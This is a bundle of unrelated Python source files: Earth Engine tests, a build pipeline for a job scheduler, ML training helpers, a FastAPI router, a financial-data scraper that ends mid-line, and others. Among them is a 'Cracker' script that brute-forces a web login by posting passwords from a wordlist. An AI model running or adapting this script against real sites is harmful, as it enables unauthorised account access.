ambiguity_value in AMBIGUITY_VALUES.values(): params, _ = get_model_specification(MODEL, NUM_AGENTS, NUM_PERIODS, False) params.loc[("eta", "eta"), "value"] = ambiguity_value tasks.append(params) # MPI processing num_proc, is_distributed = 3, True dfs_ambiguity = distribute_tasks(simulate_func, tasks, num_proc, is_distributed) # Evaluate effect of ambiguity on years of experience. df_yoe_effect_ambiguity = eval_experience_effect_ambiguity( AMBIGUITY_VALUES, dfs_ambiguity, 10, NUM_PERIODS ) # Evaluate expected utility loss df_eu_loss = eval_eu_loss(AMBIGUITY_VALUES, dfs_ambiguity) # Save as pickle files if SAVE: for num in range(0, len(dfs_ambiguity)): dfs_ambiguity[num].to_pickle(subdir_robustness / f"dfs_ambiguity_{num}.pkl") df_yoe_effect_ambiguity.to_pickle( subdir_robustness / "df_yoe_effect_ambiguity.pkl" ) df_eu_loss.to_pickle(subdir_robustness / "df_EU.pkl") if __name__ == "__main__": main()
StarcoderdataPython
9683682
<gh_stars>1-10 # -*-coding:utf-8-*- __author__ = "<NAME>" PLUGIN_NAME = "aliyun_oss_plugin" CONFIG = { "ACCESS_KEY":{ "info":"ACCESS KEY ID", "value_type":"string", "value":"<Your AK ID>", "reactivate":True }, "SECRET_KEY":{ "info":"SECRET KEY", "value_type":"password", "value":"<Your SK>", "reactivate":True }, "IS_CNAME":{ "info":"是否绑定了自定义域名(自己的)", "value_type":"bool", "value":False, "reactivate":True }, "ENDPOINT":{ "info":"EndPoint, 阿里云提供的区域访问EndPoint或者是自己绑定的域名", "value_type":"string", "value":"如oss-cn-shenzhen.aliyuncs.com", "reactivate":True }, "BUCKET_NAME":{ "info":"BUCKET 名称", "value_type":"string", "value":"如osroom-test2", "reactivate":True }, "TIME_OUT":{ "info":"连接超时", "value_type":"int", "value":60, "reactivate":True }, "DOMAIN":{ "info":"域名(带http://或https://):访问上传的文件的域名", "value_type":"string", "value":"如https://osroom-test2.oss-cn-shenzhen.aliyuncs.com", "reactivate":False } }
StarcoderdataPython
11265383
"""module for running the kn_build pipeline. Contains utilities for running pipeline steps and checking their statuses. Contains module functions:: main_parse_args() get_status(chronos_url, statuses=False) wait_for_success(chronos_url, interval=30) wait_for_port(port, host="localhost", interval=30) run_step(step, wait=True, args=cf.config_args()) Examples: To run with locally on human for all sources:: $ python3 code/build_status.py To view all optional arguments that can be specified:: $ python3 code/build_status.py -h """ import http.client import json import time import csv import subprocess import os import sys import socket from argparse import ArgumentParser from io import StringIO import config_utilities as cf def main_parse_args(): """Processes command line arguments. Expects a number of pipeline specific and global optional arguments. If argument is missing, supplies default value. Returns: args as populated namespace """ parser = ArgumentParser() parser = cf.add_config_args(parser) args = parser.parse_args() config_opts = sys.argv[1:] # add working_dir to config_opts found_wd = False for opt in ['-wd', '--working_dir']: if opt in config_opts: found_wd = True if not found_wd: config_opts.extend(['-wd', args.working_dir]) # remove src_classes from config_opts for opt in ['-srcs', '--src_classes']: if opt in config_opts: idx = config_opts.index(opt) config_opts.pop(idx) # pop next item config_opts.pop(idx) args.config_opts = " ".join(config_opts) return args def get_status(chronos_url, statuses=False): """Returns dict with running, failure, and fresh jobs and prints status details. """ if statuses: print('Jobs on ' + chronos_url) connection = http.client.HTTPConnection(chronos_url) connection.request("GET", "/scheduler/jobs") response_str = connection.getresponse().read().decode("utf-8") jobs_dict = json.loads(response_str) connection.request("GET", "/scheduler/graph/csv") response_str = connection.getresponse().read().decode("utf-8") reader = csv.reader(StringIO(response_str), delimiter=',') jobs_csv = {} for row in reader: if row[0] == 'link': continue jobs_csv[row[1]] = row # last_status: ['fresh', 'failure', 'success'] # state: ['idle', 'queued', 'running'] job_status = {} job_status['running'] = [] job_status['failure'] = [] job_status['fresh'] = [] job_status['all'] = [] for job in jobs_dict: jname = job['name'] if jname not in jobs_csv: continue nerror = job['errorCount'] nsuccess = job['successCount'] #command = job['command'] if statuses: print('\t'.join([jobs_csv[jname][2], jobs_csv[jname][3], str(nerror), str(nsuccess), jname])) job_status['all'] = job_status['all'] + [jname] if jobs_csv[jname][3] == 'running': job_status['running'] = job_status['running'] + [jname] elif jobs_csv[jname][2] == 'failure': job_status['failure'] = job_status['failure'] + [jname] elif jobs_csv[jname][2] == 'fresh': job_status['fresh'] = job_status['fresh'] + [jname] return job_status def wait_for_success(chronos_url, interval=30): """When nothing is running, return True is all jobs success and False otherwise""" last_chance = 0 print('Waiting for jobs...') while True: time.sleep(interval) job_status = None while not job_status: try: job_status = get_status(chronos_url) except ValueError: print("Invalid JSON received, retrying.") print_str = time.strftime("%H:%M:%S") all_str = " - all: " + ', '.join(sorted(job_status['all'])) fresh_str = " - fresh: " + ', '.join(sorted(job_status['fresh'])) fail_str = " - failures: " + ', '.join(sorted(job_status['failure'])) run_str = " - running: " + ', '.join(sorted(job_status['running'])) print(print_str + fail_str + run_str) # no running, failure, or pending jobs, head to next step if (len(job_status['running']) == 0 and len(job_status['fresh']) == 0 and len(job_status['failure']) == 0): print('Ready for the next Phase!') return True elif len(job_status['running']) == 0: # no running jobs, but some pending, give one last chance if last_chance < 10 * 60 / interval: print('No jobs running, but not all finished, checking...') last_chance = last_chance + 1 continue else: print('Continuing: Some jobs are stuck (possibly because of failures)') return True # there are jobs still running else: last_chance = 0 def wait_for_port(port, host="localhost", interval=30): """ function to wait for interval seconds until db connection available""" print('Waiting for database connections to be available...') good = False while not good: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) good = True except socket.error: pass finally: sock.close() time.sleep(interval) def run_step(step, wait=True, args=cf.config_args()): """starts next phase of the kn_build and may wait until finished""" arg_list = [] if step == 'MYSQL': arg_list = ['python3', os.path.join(args.code_path, 'mysql_utilities.py'), args.config_opts] elif step == 'REDIS': arg_list = ["python3", os.path.join(args.code_path, 'redis_utilities.py'), args.config_opts] elif step == 'SETUP': arg_list = ['python3', os.path.join(args.code_path, 'workflow_utilities.py'), 'CHECK', '-su', args.config_opts] elif step == 'CHECK': param_str = "" if args.src_classes: param_str = " ".join(['-p', args.src_classes]) arg_list = ['python3', os.path.join(args.code_path, 'workflow_utilities.py'), 'CHECK', param_str, args.config_opts] elif step == 'IMPORT': arg_list = ['python3', os.path.join(args.code_path, 'workflow_utilities.py'), 'IMPORT', args.config_opts] elif step == 'EXPORT1': # TODO: change these to make use of the python arg_list = ['env', 'KNP_EXPORT_PATH='+args.export_path, 'KNP_CODE_DIR='+args.code_path, 'KNP_WORKING_DIR='+args.working_dir, 'KNP_DATA_PATH='+args.data_path, 'KNP_MYSQL_HOST='+args.mysql_host, 'KNP_MYSQL_PORT='+args.mysql_port, 'KNP_MYSQL_PASS='+args.mysql_pass, 'KNP_MYSQL_USER='+args.mysql_user, 'KNP_REDIS_HOST='+args.redis_host, 'KNP_REDIS_PORT='+args.redis_port, 'KNP_CONFIG_OPTS="'+args.config_opts+'"', os.path.join(args.code_path, 'export1.sh')] elif step == 'EXPORT2': arg_list = ['env', 'KNP_EXPORT_DIR='+os.path.join(args.working_dir, args.export_path), os.path.join(args.code_path, 'export2.sh')] else: ValueError("Invalid step:", step) log_file = os.path.join(args.working_dir, args.logs_path, step) + '.log' subprocess.check_call(" ".join(arg_list), shell=True, stderr=subprocess.STDOUT, stdout=open(log_file, 'w')) if wait and not wait_for_success(args.chronos, 30): raise Exception("A job failed.") def main(): """controls sequence of build pipeline""" args = main_parse_args() log_dir = os.path.join(args.working_dir, args.logs_path) if not os.path.exists(log_dir): os.makedirs(log_dir) # if there are scheduled jobs, return job_status = get_status(args.chronos) if len(job_status['all']) > 0: print("Cannot begin build with pre-existing jobs on chronos!") else: run_step("MYSQL", False, args) run_step("REDIS", False, args) wait_for_port(int(args.redis_port), args.redis_host) wait_for_port(int(args.mysql_port), args.mysql_host) run_step('SETUP', True, args) run_step('CHECK', True, args) run_step('IMPORT', True, args) run_step('EXPORT1', True, args) run_step('EXPORT2', True, args) print("KnowNet Pipeline Completed!") if __name__ == "__main__": main()
StarcoderdataPython
8195368
#!/usr/bin/env python """Test for the ee.__init__ file.""" import six import unittest import ee from ee import apitestcase class EETestCase(apitestcase.ApiTestCase): def setUp(self): ee.Reset() def testInitialization(self): """Verifies library initialization.""" def MockSend(path, params, unused_method=None, unused_raw=None): if path == '/algorithms': return {} else: raise Exception('Unexpected API call to %s with %s' % (path, params)) ee.data.send_ = MockSend # Verify that the base state is uninitialized. self.assertFalse(ee.data._initialized) self.assertEqual(ee.data._api_base_url, None) self.assertEqual(ee.ApiFunction._api, None) self.assertFalse(ee.Image._initialized) # Verify that ee.Initialize() sets the URL and initializes classes. ee.Initialize(None, 'foo', use_cloud_api=False) self.assertTrue(ee.data._initialized) self.assertEqual(ee.data._api_base_url, 'foo/api') self.assertEqual(ee.ApiFunction._api, {}) self.assertTrue(ee.Image._initialized) # Verify that ee.Initialize(None) does not override custom URLs. ee.Initialize(None, use_cloud_api=False) self.assertTrue(ee.data._initialized) self.assertEqual(ee.data._api_base_url, 'foo/api') # Verify that ee.Reset() reverts everything to the base state. ee.Reset() self.assertFalse(ee.data._initialized) self.assertEqual(ee.data._api_base_url, None) self.assertEqual(ee.ApiFunction._api, None) self.assertFalse(ee.Image._initialized) def testCallAndApply(self): """Verifies library initialization.""" # Use a custom set of known functions. def MockSend(path, params, unused_method=None, unused_raw=None): if path == '/algorithms': return { 'fakeFunction': { 'type': 'Algorithm', 'args': [ {'name': 'image1', 'type': 'Image'}, {'name': 'image2', 'type': 'Image'} ], 'returns': 'Image' }, 'Image.constant': apitestcase.BUILTIN_FUNCTIONS['Image.constant'] } else: raise Exception('Unexpected API call to %s with %s' % (path, params)) ee.data.send_ = MockSend ee.Initialize(None, use_cloud_api=False) image1 = ee.Image(1) image2 = ee.Image(2) expected = ee.Image(ee.ComputedObject( ee.ApiFunction.lookup('fakeFunction'), {'image1': image1, 'image2': image2})) applied_with_images = ee.apply( 'fakeFunction', {'image1': image1, 'image2': image2}) self.assertEqual(expected, applied_with_images) applied_with_numbers = ee.apply('fakeFunction', {'image1': 1, 'image2': 2}) self.assertEqual(expected, applied_with_numbers) called_with_numbers = ee.call('fakeFunction', 1, 2) self.assertEqual(expected, called_with_numbers) # Test call and apply() with a custom function. sig = {'returns': 'Image', 'args': [{'name': 'foo', 'type': 'Image'}]} func = ee.CustomFunction(sig, lambda foo: ee.call('fakeFunction', 42, foo)) expected_custom_function_call = ee.Image( ee.ComputedObject(func, {'foo': ee.Image(13)})) self.assertEqual(expected_custom_function_call, ee.call(func, 13)) self.assertEqual(expected_custom_function_call, ee.apply(func, {'foo': 13})) # Test None promotion. called_with_null = ee.call('fakeFunction', None, 1) self.assertEqual(None, called_with_null.args['image1']) def testDynamicClasses(self): """Verifies dynamic class initialization.""" # Use a custom set of known functions. def MockSend(path, unused_params, unused_method=None, unused_raw=None): if path == '/algorithms': return { 'Array': { 'type': 'Algorithm', 'args': [ { 'name': 'values', 'type': 'Serializable', 'description': '' } ], 'description': '', 'returns': 'Array' }, 'Array.cos': { 'type': 'Algorithm', 'args': [ { 'type': 'Array', 'description': '', 'name': 'input' } ], 'description': '', 'returns': 'Array' }, 'Kernel.circle': { 'returns': 'Kernel', 'args': [ { 'type': 'float', 'description': '', 'name': 'radius', }, { 'default': 1.0, 'type': 'float', 'optional': True, 'description': '', 'name': 'scale' }, { 'default': True, 'type': 'boolean', 'optional': True, 'description': '', 'name': 'normalize' } ], 'type': 'Algorithm', 'description': '' }, 'Reducer.mean': { 'returns': 'Reducer', 'args': [] }, 'fakeFunction': { 'returns': 'Array', 'args': [ { 'type': 'Reducer', 'description': '', 'name': 'kernel', } ] } } ee.data.send_ = MockSend ee.Initialize(None, use_cloud_api=False) # Verify that the expected classes got generated. self.assertTrue(hasattr(ee, 'Array')) self.assertTrue(hasattr(ee, 'Kernel')) self.assertTrue(hasattr(ee.Array, 'cos')) self.assertTrue(hasattr(ee.Kernel, 'circle')) # Try out the constructors. kernel = ee.ApiFunction('Kernel.circle').call(1, 2) self.assertEqual(kernel, ee.Kernel.circle(1, 2)) array = ee.ApiFunction('Array').call([1, 2]) self.assertEqual(array, ee.Array([1, 2])) self.assertEqual(array, ee.Array(ee.Array([1, 2]))) # Try out the member function. self.assertEqual( ee.ApiFunction('Array.cos').call(array), ee.Array([1, 2]).cos()) # Test argument promotion. f1 = ee.ApiFunction('Array.cos').call([1, 2]) f2 = ee.ApiFunction('Array.cos').call(ee.Array([1, 2])) self.assertEqual(f1, f2) self.assertTrue(isinstance(f1, ee.Array)) f3 = ee.call('fakeFunction', 'mean') f4 = ee.call('fakeFunction', ee.Reducer.mean()) self.assertEqual(f3, f4) try: ee.call('fakeFunction', 'moo') self.fail() except ee.EEException as e: self.assertTrue('Unknown algorithm: Reducer.moo' in str(e)) def testDynamicConstructor(self): # Test the behavior of the dynamic class constructor. # Use a custom set of known functions for classes Foo and Bar. # Foo Foo(arg1, [arg2]) # Bar Foo.makeBar() # Bar Foo.takeBar(Bar bar) # Baz Foo.baz() def MockSend(path, unused_params, unused_method=None, unused_raw=None): if path == '/algorithms': return { 'Foo': { 'returns': 'Foo', 'args': [ {'name': 'arg1', 'type': 'Object'}, {'name': 'arg2', 'type': 'Object', 'optional': True} ] }, 'Foo.makeBar': { 'returns': 'Bar', 'args': [{'name': 'foo', 'type': 'Foo'}] }, 'Foo.takeBar': { 'returns': 'Bar', 'args': [ {'name': 'foo', 'type': 'Foo'}, {'name': 'bar', 'type': 'Bar'} ] }, 'Bar.baz': { 'returns': 'Baz', 'args': [{'name': 'bar', 'type': 'Bar'}] } } ee.data.send_ = MockSend ee.Initialize(None, use_cloud_api=False) # Try to cast something that's already of the right class. x = ee.Foo('argument') self.assertEqual(ee.Foo(x), x) # Tests for dynamic classes, where there is a constructor. # # If there's more than 1 arg, call the constructor. x = ee.Foo('a') y = ee.Foo(x, 'b') ctor = ee.ApiFunction.lookup('Foo') self.assertEqual(y.func, ctor) self.assertEqual(y.args, {'arg1': x, 'arg2': 'b'}) # Can't cast a primitive; call the constructor. self.assertEqual(ctor, ee.Foo(1).func) # A computed object, but not this class; call the constructor. self.assertEqual(ctor, ee.Foo(ee.List([1, 2, 3])).func) # Tests for dynamic classes, where there isn't a constructor. # # Foo.makeBar and Foo.takeBar should have caused Bar to be generated. self.assertTrue(hasattr(ee, 'Bar')) # Make sure we can create a Bar. bar = ee.Foo(1).makeBar() self.assertTrue(isinstance(bar, ee.Bar)) # Now cast something else to a Bar and verify it was just a cast. cast = ee.Bar(ee.Foo(1)) self.assertTrue(isinstance(cast, ee.Bar)) self.assertEqual(ctor, cast.func) # We shouldn't be able to cast with more than 1 arg. try: ee.Bar(x, 'foo') self.fail('Expected an exception.') except ee.EEException as e: self.assertTrue('Too many arguments for ee.Bar' in str(e)) # We shouldn't be able to cast a primitive. try: ee.Bar(1) self.fail('Expected an exception.') except ee.EEException as e: self.assertTrue('Must be a ComputedObject' in str(e)) def testDynamicConstructorCasting(self): """Test the behavior of casting with dynamic classes.""" self.InitializeApi() result = ee.Geometry.Rectangle(1, 1, 2, 2).bounds(0, 'EPSG:4326') expected = (ee.Geometry.Polygon([[1, 2], [1, 1], [2, 1], [2, 2]]) .bounds(ee.ErrorMargin(0), ee.Projection('EPSG:4326'))) self.assertEqual(expected, result) def testPromotion(self): """Verifies object promotion rules.""" self.InitializeApi() # Features and Images are both already Elements. self.assertTrue(isinstance(ee._Promote(ee.Feature(None), 'Element'), ee.Feature)) self.assertTrue(isinstance(ee._Promote(ee.Image(0), 'Element'), ee.Image)) # Promote an untyped object to an Element. untyped = ee.ComputedObject('foo', {}) self.assertTrue(isinstance(ee._Promote(untyped, 'Element'), ee.Element)) # Promote an untyped variable to an Element. untyped = ee.ComputedObject(None, None, 'foo') self.assertTrue(isinstance(ee._Promote(untyped, 'Element'), ee.Element)) self.assertEqual('foo', ee._Promote(untyped, 'Element').varName) def testUnboundMethods(self): """Verifies unbound method attachment to ee.Algorithms.""" # Use a custom set of known functions. def MockSend(path, unused_params, unused_method=None, unused_raw=None): if path == '/algorithms': return { 'Foo': { 'type': 'Algorithm', 'args': [], 'description': '', 'returns': 'Object' }, 'Foo.bar': { 'type': 'Algorithm', 'args': [], 'description': '', 'returns': 'Object' }, 'Quux.baz': { 'type': 'Algorithm', 'args': [], 'description': '', 'returns': 'Object' }, 'last': { 'type': 'Algorithm', 'args': [], 'description': '', 'returns': 'Object' } } ee.data.send_ = MockSend ee.ApiFunction.importApi(lambda: None, 'Quux', 'Quux') ee._InitializeUnboundMethods() self.assertTrue(callable(ee.Algorithms.Foo)) self.assertTrue(callable(ee.Algorithms.Foo.bar)) self.assertTrue('Quux' not in ee.Algorithms) self.assertEqual(ee.call('Foo.bar'), ee.Algorithms.Foo.bar()) self.assertNotEqual(ee.Algorithms.Foo.bar(), ee.Algorithms.last()) def testNonAsciiDocumentation(self): """Verifies that non-ASCII characters in documentation work.""" foo = u'\uFB00\u00F6\u01EB' bar = u'b\u00E4r' baz = u'b\u00E2\u00DF' def MockSend(path, unused_params, unused_method=None, unused_raw=None): if path == '/algorithms': return { 'Foo': { 'type': 'Algorithm', 'args': [], 'description': foo, 'returns': 'Object' }, 'Image.bar': { 'type': 'Algorithm', 'args': [{ 'name': 'bar', 'type': 'Bar', 'description': bar }], 'description': '', 'returns': 'Object' }, 'Image.oldBar': { 'type': 'Algorithm', 'args': [], 'description': foo, 'returns': 'Object', 'deprecated': 'Causes fire' }, 'Image.baz': { 'type': 'Algorithm', 'args': [], 'description': baz, 'returns': 'Object' }, 'Image.newBaz': { 'type': 'Algorithm', 'args': [], 'description': baz, 'returns': 'Object', 'preview': True } } ee.data.send_ = MockSend ee.Initialize(None, use_cloud_api=False) # The initialisation shouldn't blow up. self.assertTrue(callable(ee.Algorithms.Foo)) self.assertTrue(callable(ee.Image.bar)) self.assertTrue(callable(ee.Image.baz)) self.assertTrue(callable(ee.Image.baz)) # In Python 2, the docstrings end up UTF-8 encoded. In Python 3, they remain # Unicode. if six.PY3: self.assertEqual(ee.Algorithms.Foo.__doc__, foo) self.assertIn(foo, ee.Image.oldBar.__doc__) self.assertIn('DEPRECATED: Causes fire', ee.Image.oldBar.__doc__) self.assertIn('PREVIEW: This function is preview or internal only.', ee.Image.newBaz.__doc__) self.assertEqual(ee.Image.bar.__doc__, '\n\nArgs:\n bar: ' + bar) self.assertEqual(ee.Image.baz.__doc__, baz) else: self.assertEqual(ee.Algorithms.Foo.__doc__, '\xef\xac\x80\xc3\xb6\xc7\xab') self.assertIn('\xef\xac\x80\xc3\xb6\xc7\xab', ee.Image.oldBar.__doc__) self.assertIn('DEPRECATED: Causes fire', ee.Image.oldBar.__doc__) self.assertIn('PREVIEW: This function is preview or internal only.', ee.Image.newBaz.__doc__) self.assertEqual(ee.Image.bar.__doc__, '\n\nArgs:\n bar: b\xc3\xa4r') self.assertEqual(ee.Image.baz.__doc__, 'b\xc3\xa2\xc3\x9f') def testDatePromtion(self): # Make a feature, put a time in it, and get it out as a date. self.InitializeApi() point = ee.Geometry.Point(1, 2) feature = ee.Feature(point, {'x': 1, 'y': 2}) date_range = ee.call('DateRange', feature.get('x'), feature.get('y')) # Check that the start and end args are wrapped in a call to Date. self.assertEqual(date_range.args['start'].func._signature['name'], 'Date') self.assertEqual(date_range.args['end'].func._signature['name'], 'Date') if __name__ == '__main__': unittest.main()
StarcoderdataPython
8197761
from tqdm import tqdm from pytorch_metric_learning import miners from pytorch_metric_learning import losses from torch.optim import Adam def train_metric(net, loader, device="cpu", epochs=50, lr=3e-4): miner = miners.MultiSimilarityMiner() contrastive_loss = losses.ContrastiveLoss() optim = Adam(net.parameters(), lr=lr) for epoch in tqdm(range(epochs)): for x, y in loader: x, y = x.to(device), y.to(device) optim.zero_grad() output = net(x) hard_pairs = miner(output, y) loss = contrastive_loss(output, y, hard_pairs) loss.backward() optim.step() return net
StarcoderdataPython
290634
import os import sys from time import sleep import requests class Cracker(): def __init__(self, url, file, login, submit, params_names, fail_phrase): self.submit = submit self.url = url self.fail = fail_phrase self.file_name = file if os.path.exists(file): # Read data from file self.passes = self.read_data(self.file_name) print("Data correctly loaded!") print(self.passes) self.login = login if len(login) == 0: print("Login not specified!") sys.exit() # Prepare data to send try: self.data = [] for pas in self.passes: self.data.append((params_names[0], self.login, params_names[1], pas, params_names[2], self.submit)) print("Data correctly prepared!") print(self.data) except IndexError: print("Params names specified incorrectly") sys.exit() # Send data to server for index, single_data in enumerate(self.data): print(f"[ {index+1}/{len(self.passes)} ] Sending ", single_data, "for", self.url) if self.send(self.url, single_data, self.fail): print("Password found!") print("Login:", self.login) print("Password:", single_data[3]) else: print("File could not be found!") sys.exit() def read_data(self, filename): with open(filename, 'r') as f: lines = f.read().split('\n') return lines def send(self, url, data, fail): ready_data = {data[0]: data[1], data[2]: data[3], data[4]: data[5]} r = requests.post(url=url, data=ready_data) if fail in r.text: return False else: return True try: URL = sys.argv[1] PASS = sys.argv[2] LOGIN = sys.argv[3] BUTTON_VALUE = sys.argv[4] PARAMS_NAMES = sys.argv[5].split('?') FAIL = sys.argv[6] cracker = Cracker(URL, PASS, LOGIN, BUTTON_VALUE, (PARAMS_NAMES[0], PARAMS_NAMES[1], PARAMS_NAMES[2]), FAIL) except IndexError: print("Usage: python script.py <url> <path_to_file_with_passes> <login> <submit_button_value> <post_of_login/username?password?submit_button, separeted with '?' <fail_phrase>")
StarcoderdataPython
3368499
<filename>code/style_gan/StyleGAN_PyTorch/torchvision_sunner/transforms/simple.py from torchvision_sunner.utils import INFO from torchvision_sunner.constant import * import numpy as np import torch """ This script define some operation which are rather simple The operation only need to call function once (without inherit OP class) Author: SunnerLi """ class ToTensor(): def __init__(self): """ Change the tensor into torch.Tensor type """ INFO("Applied << %15s >>" % self.__class__.__name__) def __call__(self, tensor): """ Arg: tensor - The torch.Tensor or other type. The tensor you want to deal with """ if type(tensor) == np.ndarray: tensor = torch.from_numpy(tensor) return tensor class ToFloat(): def __init__(self): """ Change the tensor into torch.FloatTensor """ INFO("Applied << %15s >>" % self.__class__.__name__) def __call__(self, tensor): """ Arg: tensor - The torch.Tensor object. The tensor you want to deal with """ return tensor.float() class Transpose(): def __init__(self, direction = BHWC2BCHW): """ Transfer the rank of tensor into target one Arg: direction - The direction you want to do the transpose """ self.direction = direction if self.direction == BHWC2BCHW: INFO("Applied << %15s >>, The rank format is BCHW" % self.__class__.__name__) elif self.direction == BCHW2BHWC: INFO("Applied << %15s >>, The rank format is BHWC" % self.__class__.__name__) else: raise Exception("Unknown direction symbol: {}".format(self.direction)) def __call__(self, tensor): """ Arg: tensor - The torch.Tensor object. The tensor you want to deal with """ if self.direction == BHWC2BCHW: tensor = tensor.transpose(-1, -2).transpose(-2, -3) else: tensor = tensor.transpose(-3, -2).transpose(-2, -1) return tensor
StarcoderdataPython
6507109
import os inputPath = r'D:\adclassifier\labelled_dataset\political\images2' #frame = 'frame-%02d.png' % (frameNum) for videoFolder in os.listdir(inputPath): countframe = len(os.listdir(os.path.join(inputPath, videoFolder))) selectframe = ['frame-%02d.png' % (countframe), 'frame-%02d.png' % (countframe - 1), 'frame-%02d.png' % (countframe - 2)] for file in os.listdir(os.path.join(inputPath, videoFolder)): if file not in selectframe: os.remove(os.path.join(inputPath, videoFolder, file))
StarcoderdataPython
4817091
import sys from datetime import datetime from sqlalchemy import INTEGER, TIMESTAMP, VARCHAR, Column, create_engine from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker from . import config reload(sys) sys.setdefaultencoding('utf-8') Base = declarative_base() class Message(Base): __tablename__ = "Message" message = Column(VARCHAR(1024)) timestamp = Column(TIMESTAMP, primary_key=True) TTL = Column(INTEGER, default=10) def __init__(self, message, timestamp): self.message = message self.timestamp = timestamp def __repr__(self): return "<Message %s>" % self.message class DB(): def __init__(self): db_config = config.get('database') engine = create_engine("mysql+mysqldb://{user}:{password}@{host}:{port}/{database}?charset=utf8".format( user=db_config['user'], password=db_config['password'], host=db_config[ 'host'], port=db_config['port'], database=db_config['database'] ), encoding="utf-8") Session = sessionmaker(bind=engine) self.session = Session() def send_message(self, message): now = datetime.now() time = now.strftime("%Y-%m-%d %H:%M:%S") test = Message(message=message, timestamp=time) self.session.rollback() self.session.add(test) self.session.commit() self.session.close()
StarcoderdataPython
11377650
<reponame>marcoshsq/python_practical_exercises # Exercise 061 - Arithmetic Progression v2.0 """Redo CHALLENGE 051, reading the first term and the ratio of an AP, showing the first 10 terms of the progression using the while structure.""" # 1. We'll ask the user to input the first term of our AP first_term = int(input("Enter the first term: ")) # 2. We ask the common difference (r) of our AP r = int(input("Enter the common difference: ")) # 3. Now we need to count the first 10 terms, so we will have our term that takes the first term term = first_term # 4. And our tracker that'll help us count counter = 1 # 5. As we want the first ten terms, we will put ten as our logical test while counter <= 10: print(f"{term} ->", end=" ") # 6. Here we update our term, so it doesn't print the repeated values term += r # 7. And here the counter, so it'll end at 10 counter += 1 print("End")
StarcoderdataPython
3518240
<reponame>JosueHernandezR/TTR<gh_stars>0 from typing import Any, List from fastapi import APIRouter, Depends, HTTPException from sqlalchemy.orm import Session from app import crud, models, schemas from app.api import deps router = APIRouter() @router.post("/", response_model=schemas.Prediction) def createPrediction( *, db: Session = Depends(deps.get_db), prediction_in: schemas.PredictionCreate, current_user: models.User = Depends(deps.get_current_active_user), ) -> Any: prediction = crud.prediction_manual.createPredictionManual( db=db, obj_in=prediction_in, owner_id=current_user.id, ) return prediction @router.get("/all", response_model=List[schemas.Prediction]) def read_all_predictions( db: Session = Depends(deps.get_db), skip: int = 0, limit: int = 100, current_user: models.User = Depends(deps.get_current_active_user) ) -> Any: predictions = crud.prediction_manual.get_multi( db=db, skip=skip, limit=limit, ) return predictions @router.get("/", response_model=List[schemas.Prediction]) def read_all_predictions_by_owner( db: Session = Depends(deps.get_db), skip: int = 0, limit: int = 100, current_user: models.User = Depends(deps.get_current_active_user) ) -> Any: predictions = crud.prediction_manual.get_multi_by_owner( db = db, owner_id=current_user.id, skip=skip, limit=limit ) return predictions # Leer una predicción @router.get("/{id}", response_model=schemas.ResultPrediction) def read_a_prediction( *, db: Session = Depends(deps.get_db), id: int, current_user: models.User = Depends(deps.get_current_active_user), ) -> Any: """ Get result survey by ID """ prediction = crud.prediction_manual.get(db=db, id=id) if not prediction: raise HTTPException( status_code=404, detail="Predicción no encontrada" ) # Desarrollar la funcion de obtener la encuesta con el id return prediction @router.delete("/{id}", response_model=schemas.Prediction) def delete_prediction( *, db: Session = Depends(deps.get_db), id: int, current_user: models.User = Depends(deps.get_current_active_user), ) -> Any: prediction = crud.prediction_manual.get(db=db, id=id) if not prediction: raise HTTPException(status_code=404, detail="Predicción no encontrada") if (prediction.owner_id != current_user.id): raise HTTPException(status_code=400, detail="No tienes los permisos") prediction = crud.prediction_manual.remove(db=db, id= id) return prediction
StarcoderdataPython
6455082
<reponame>pszafer/core<filename>homeassistant/components/risco/entity.py """A risco entity base class.""" from homeassistant.helpers.entity import Entity class RiscoEntity(Entity): """Risco entity base class.""" def __init__(self, coordinator): """Init the instance.""" self._coordinator = coordinator @property def should_poll(self): """No need to poll. Coordinator notifies entity of updates.""" return False @property def available(self): """Return if entity is available.""" return self._coordinator.last_update_success def _get_data_from_coordinator(self): raise NotImplementedError def _refresh_from_coordinator(self): self._get_data_from_coordinator() self.async_write_ha_state() async def async_added_to_hass(self): """When entity is added to hass.""" self.async_on_remove( self._coordinator.async_add_listener(self._refresh_from_coordinator) ) @property def _risco(self): """Return the Risco API object.""" return self._coordinator.risco async def async_update(self): """Update the entity. Only used by the generic entity update service. """ await self._coordinator.async_request_refresh()
StarcoderdataPython
4911164
import requests import pandas as pd import json def Test(): head = { "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "keep-alive", "Cookie": "st_si=33930137927479; FundWebTradeUserInfo=<KEY>; qgqp_b_id=07e364420df0ba22c7e879b4c301457d; EMFUND1=null; EMFUND2=null; EMFUND3=null; EMFUND4=null; EMFUND5=null; EMFUND6=null; EMFUND7=null; EMFUND8=null; EMFUND0=null; EMFUND9=05-15 16:21:41@#$%u957F%u57CE%u4E2D%u503A1-3%u5E74%u653F%u91D1%u503AA@%23%24008652; st_asi=delete; st_pvi=10101638801112; st_sp=2022-05-15%2015%3A58%3A45; st_inirUrl=http%3A%2F%2Ffund.eastmoney.com%2Fdata%2F; st_sn=37; st_psi=20220515172651988-113300300999-4804406827; JSESSIONID=55F29FD72541EE153DAF30E7F0F13091", "Host": "datacenter-web.eastmoney.com", "Referer": "https://data.eastmoney.com/", "Sec-Fetch-Dest": "script", "Sec-Fetch-Mode": "no-cors", "Sec-Fetch-Site": "same-site", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36", "sec-ch-ua": "Not A;Brand ;v=99, Chromium;v=100, Google Chrome;v=100", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "macOS", } #url='https://datacenter-web.eastmoney.com/api/data/v1/get?callback=jQuery112305166739778248102_1652606811698' url = "https://datacenter-web.eastmoney.com/api/data/v1/get?callback=jQuery112305166739778248102_1652606811698&reportName=RPT_BILLBOARD_DAILYDETAILSBUY&columns=ALL&filter=(TRADE_DATE%3D%272022-03-09%27)(SECURITY_CODE%3D%22001313%22)&pageNumber=1&pageSize=50&sortTypes=-1&sortColumns=BUY&source=WEB&client=WEB&_=1652606811700" url = 